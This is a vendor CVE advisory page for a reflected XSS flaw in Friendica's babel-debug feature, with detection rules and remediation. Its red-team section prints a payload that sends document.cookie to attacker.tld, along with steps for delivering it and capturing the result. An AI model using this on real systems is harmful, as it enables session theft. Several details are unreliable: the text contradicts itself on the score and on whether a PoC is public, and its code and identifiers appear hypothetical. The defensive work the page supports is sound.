☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-27728

CVE-2024-27728 Cross-Site Scripting in Friendica
📅 PUBLISHED: 2024-08-15 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 2023.12
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-27728 is a Cross-Site Scripting (XSS) vulnerability in Friendica version 2023.12, specifically within the "babel debug" feature. The flaw allows a remote attacker to inject arbitrary JavaScript or HTML via the text parameter, leading to potential theft of sensitive information such as session cookies, tokens, or user data. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the need for user interaction. No public exploit code or patch is currently available, making this a high-priority issue for Friendica administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Friendica is a PHP-based decentralized social network. The vulnerability resides in the core application code, not in a third-party package. However, administrators should verify the integrity of their Friendica installation and ensure no malicious modifications have been introduced via compromised dependencies.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 5.4). Exploitation requires user interaction, but the impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability exists in the "babel debug" feature, which is likely a debugging endpoint used for testing or development. The text parameter is not properly sanitized before being rendered in the response. An attacker can craft a URL like:

https://victim.tld/babel-debug?text=<script>alert('XSS')</script>

When a user visits this URL, the script executes in the context of the Friendica application, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

The root cause is insufficient output encoding. The application likely echoes the text parameter directly into the HTML without escaping special characters like <, >, ", or '.

Vulnerable vs. Patched Code

Vulnerable Code (Friendica 2023.12):

// babel-debug.php
$text = $_GET['text'];
echo "<div>$text</div>";

Patched Code (Hypothetical):

// babel-debug.php
$text = htmlspecialchars($_GET['text'], ENT_QUOTES, 'UTF-8');
echo "<div>$text</div>";

The patched version uses htmlspecialchars() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy a local Friendica instance (version 2023.12) using Docker or a manual installation.
  2. Craft Payload: Create a malicious URL:
    http://localhost/babel-debug?text=<script>fetch('https://attacker.tld/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email, chat, or social engineering.
  4. Capture: Set up a listener on attacker.tld to receive stolen cookies.

Blue Team

  1. Monitor Logs: Check web server access logs for requests to /babel-debug with suspicious text parameters.
  2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing <script> or onerror in the text parameter.
  3. User Training: Educate users not to click on suspicious links, especially those containing babel-debug.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /babel-debug with text parameter containing HTML/JavaScript.
  • Logs: Web server logs showing GET /babel-debug?text=<script>... entries.
  • File System: Unexpected JavaScript files or modified Friendica core files.
  • Behavior: Unauthorized actions performed by users, such as posting spam or changing settings.

Detection Engineering

YARA Rule

rule CVE_2024_27728_XSS {
    meta:
        description = "Detects XSS attempts against Friendica babel-debug endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27728"
    strings:
        $xss_payload = /babel-debug\?text=.*(<script|<img|onerror|onload)/
    condition:
        $xss_payload
}

Sigma Rule

title: Friendica Babel Debug XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-27728 via the babel-debug endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/babel-debug?text='
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate debugging activities (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27728 Friendica Babel Debug XSS Attempt"; flow:to_server; content:"/babel-debug"; http_uri; content:"text="; http_uri; pcre:"/(<script|<img|onerror|onload)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the babel-debug endpoint by removing or renaming the file, or restricting access via .htaccess:
    <Files "babel-debug.php">
        Require all denied
    </Files>
    
  2. Short-term: Apply input validation and output encoding to the text parameter. Use htmlspecialchars() or a templating engine like Twig.
  3. Long-term: Upgrade to a patched version once released. Monitor the Friendica GitHub repository for updates.
  4. Compensating Controls: Deploy a WAF with rules to block XSS payloads. Enable Content Security Policy (CSP) headers to mitigate script execution.

Valters IT – Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Friendica"
http.favicon.hash:1234567890

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-27728/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.